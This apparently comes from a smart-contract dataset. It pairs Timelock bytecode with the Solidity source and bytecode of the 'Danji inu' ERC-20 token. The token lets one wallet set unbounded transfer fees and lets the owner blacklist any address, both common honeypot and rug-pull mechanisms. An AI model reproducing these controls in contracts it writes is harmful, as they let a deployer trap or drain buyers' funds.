80fd5b803590602001918460018302840111600160201b831117156103c957600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610c33915050565b60408051918252519081900360200190f35b34801561042a57600080fd5b506100c26004803603602081101561044157600080fd5b50356001600160a01b0316610f44565b34801561045d57600080fd5b506100c2600480360360a081101561047457600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b8111156104a357600080fd5b8201836020820111156104b557600080fd5b803590602001918460018302840111600160201b831117156104d657600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561052857600080fd5b82018360208201111561053a57600080fd5b803590602001918460018302840111600160201b8311171561055b57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610fd2915050565b3480156105aa57600080fd5b5061040c611288565b3480156105bf57600080fd5b5061040c61128e565b3480156105d457600080fd5b5061040c611295565b3480156105e957600080fd5b5061040c61129c565b3480156105fe57600080fd5b506100c26004803603602081101561061557600080fd5b50356112a3565b34801561062857600080fd5b506106466004803603602081101561063f57600080fd5b5035611398565b604080519115158252519081900360200190f35b34801561066657600080fd5b506102a36113ad565b6000546060906001600160a01b031633146106bb5760405162461bcd60e51b81526004018080602001828103825260388152602001806114226038913960400191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561072a578181015183820152602001610712565b50505050905090810190601f1680156107575780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561078a578181015183820152602001610772565b50505050905090810190601f1680156107b75780820380516001836020036101000a031916815260200191505b5060408051601f1981840301815291815281516020928301206000818152600390935291205490995060ff16975061082896505050505050505760405162461bcd60e51b815260040180806020018281038252603d815260200180611575603d913960400191505060405180910390fd5b826108316113bc565b101561086e5760405162461bcd60e51b81526004018080602001828103825260458152602001806114c46045913960600191505060405180910390fd5b610881836212750063ffffffff6113c016565b6108896113bc565b11156108c65760405162461bcd60e51b81526004018080602001828103825260338152602001806114916033913960400191505060405180910390fd5b6000818152600360205260409020805460ff1916905584516060906108ec575083610979565b85805190602001208560405160200180836001600160e01b0319166001600160e01b031916815260040182805190602001908083835b602083106109415780518252601f199092019160209182019101610922565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b60006060896001600160a01b031689846040518082805190602001908083835b602083106109b85780518252601f199092019160209182019101610999565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610a1a576040519150601f19603f3d011682016040523d82523d6000602084013e610a1f565b606091505b509150915081610a605760405162461bcd60e51b815260040180806020018281038252603d815260200180611658603d913960400191505060405180910390fd5b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610add578181015183820152602001610ac5565b50505050905090810190601f168015610b0a5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610b3d578181015183820152602001610b25565b50505050905090810190601f168015610b6a5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b6001546001600160a01b03163314610bd15760405162461bcd60e51b81526004018080602001828103825260388152602001806115b26038913960400191505060405180910390fd5b60008054336001600160a01b031991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b600080546001600160a01b03163314610c7d5760405162461bcd60e51b81526004018080602001828103825260368152602001806116226036913960400191505060405180910390fd5b610c97600254610c8b6113bc565b9063ffffffff6113c016565b821015610cd55760405162461bcd60e51b81526004018080602001828103825260498152602001806116956049913960600191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610d44578181015183820152602001610d2c565b50505050905090810190601f168015610d715780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610da4578181015183820152602001610d8c565b50505050905090810190601f168015610dd15780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550866001600160a01b0316817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610e9c578181015183820152602001610e84565b50505050905090810190601f168015610ec95780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610efc578181015183820152602001610ee4565b50505050905090810190601f168015610f295780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b333014610f825760405162461bcd60e51b81526004018080602001828103825260388152602001806115ea6038913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6000546001600160a01b0316331461101b5760405162461bcd60e51b815260040180806020018281038252603781526020018061145a6037913960400191505060405180910390fd5b6000858585858560405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561108a578181015183820152602001611072565b50505050905090810190601f1680156110b75780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156110ea5781810151838201526020016110d2565b50505050905090810190601f1680156111175780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550856001600160a01b0316817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156111e25781810151838201526020016111ca565b50505050905090810190601f16801561120f5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561124257818101518382015260200161122a565b50505050905090810190601f16801561126f5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b62278d0081565b6202a30081565b6212750081565b3330146112e15760405162461bcd60e51b81526004018080602001828103825260318152602001806116de6031913960400191505060405180910390fd5b6202a3008110156113235760405162461bcd60e51b81526004018080602001828103825260348152602001806115096034913960400191505060405180910390fd5b62278d008111156113655760405162461bcd60e51b815260040180806020018281038252603881526020018061153d6038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60036020526000908152604090205460ff1681565b6000546001600160a01b031681565b4290565b60008282018381101561141a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea265627a7a72315820c328b577482b78c304baeb61894de970d6e546323cc36dea916074542c2a880864736f6c63430005110032
{"success": true, "error": null, "results": {}}
230
0xf53300C2DcB5F76eb06bBC7893079E23890ad3E1
//SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Danji is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 5; uint256 private _feeAddr2 = 5; address payable private _feeAddrWallet1 = payable(0xc71c57D21724221D4B967182ff34D2de78CC4160); address payable private _feeAddrWallet2 = payable(0xc71c57D21724221D4B967182ff34D2de78CC4160); string private constant _name = "Danji inu"; string private constant _symbol = "DANJI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612b4b565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190612675565b610492565b6040516101839190612b30565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612ccd565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190612622565b6104c2565b6040516101eb9190612b30565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612588565b61059b565b005b34801561022957600080fd5b5061023261068b565b60405161023f9190612d42565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a91906126fe565b610694565b005b34801561027d57600080fd5b50610286610746565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612588565b6107b8565b6040516102bc9190612ccd565b60405180910390f35b3480156102d157600080fd5b506102da610809565b005b3480156102e857600080fd5b5061030360048036038101906102fe9190612758565b61095c565b005b34801561031157600080fd5b5061031a6109fd565b6040516103279190612a62565b60405180910390f35b34801561033c57600080fd5b50610345610a26565b6040516103529190612b4b565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d9190612675565b610a63565b60405161038f9190612b30565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba91906126b5565b610a81565b005b3480156103cd57600080fd5b506103d6610bab565b005b3480156103e457600080fd5b506103ed610c25565b005b3480156103fb57600080fd5b5061041660048036038101906104119190612758565b611185565b005b34801561042457600080fd5b5061043f600480360381019061043a91906125e2565b611226565b60405161044c9190612ccd565b60405180910390f35b60606040518060400160405280600981526020017f44616e6a6920696e750000000000000000000000000000000000000000000000815250905090565b60006104a661049f6112ad565b84846112b5565b6001905092915050565b600069d3c21bcecceda1000000905090565b60006104cf848484611480565b610590846104db6112ad565b61058b8560405180606001604052806028815260200161342060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105416112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195e9092919063ffffffff16565b6112b5565b600190509392505050565b6105a36112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610630576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062790612c2d565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069c6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072090612c2d565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107876112ad565b73ffffffffffffffffffffffffffffffffffffffff16146107a757600080fd5b60004790506107b5816119c2565b50565b6000610802600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abd565b9050919050565b6108116112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089590612c2d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099d6112ad565b73ffffffffffffffffffffffffffffffffffffffff16146109f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ea90612b8d565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f44414e4a49000000000000000000000000000000000000000000000000000000815250905090565b6000610a77610a706112ad565b8484611480565b6001905092915050565b610a896112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0d90612c2d565b60405180910390fd5b60005b8151811015610ba757600160066000848481518110610b3b57610b3a61308a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b9f90612fe3565b915050610b19565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bec6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610c0c57600080fd5b6000610c17306107b8565b9050610c2281611b2b565b50565b610c2d6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb190612c2d565b60405180910390fd5b600f60149054906101000a900460ff1615610d0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0190612cad565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d9b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669d3c21bcecceda10000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610de157600080fd5b505afa158015610df5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1991906125b5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e7b57600080fd5b505afa158015610e8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb391906125b5565b6040518363ffffffff1660e01b8152600401610ed0929190612a7d565b602060405180830381600087803b158015610eea57600080fd5b505af1158015610efe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2291906125b5565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fab306107b8565b600080610fb66109fd565b426040518863ffffffff1660e01b8152600401610fd896959493929190612acf565b6060604051808303818588803b158015610ff157600080fd5b505af1158015611005573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061102a9190612785565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161112f929190612aa6565b602060405180830381600087803b15801561114957600080fd5b505af115801561115d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611181919061272b565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c66112ad565b73ffffffffffffffffffffffffffffffffffffffff161461121c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121390612b8d565b60405180910390fd5b80600b8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612c8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612bcd565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612ccd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612c6d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612b6d565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612c4d565b60405180910390fd5b6115ab6109fd565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161957506115e96109fd565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561194e57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116cb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117765750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117cc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e45750600f60179054906101000a900460ff165b15611894576010548111156117f857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184357600080fd5b601e426118509190612e03565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061189f306107b8565b9050600f60159054906101000a900460ff1615801561190c5750600f60009054906101000a900473fffffffffffffffff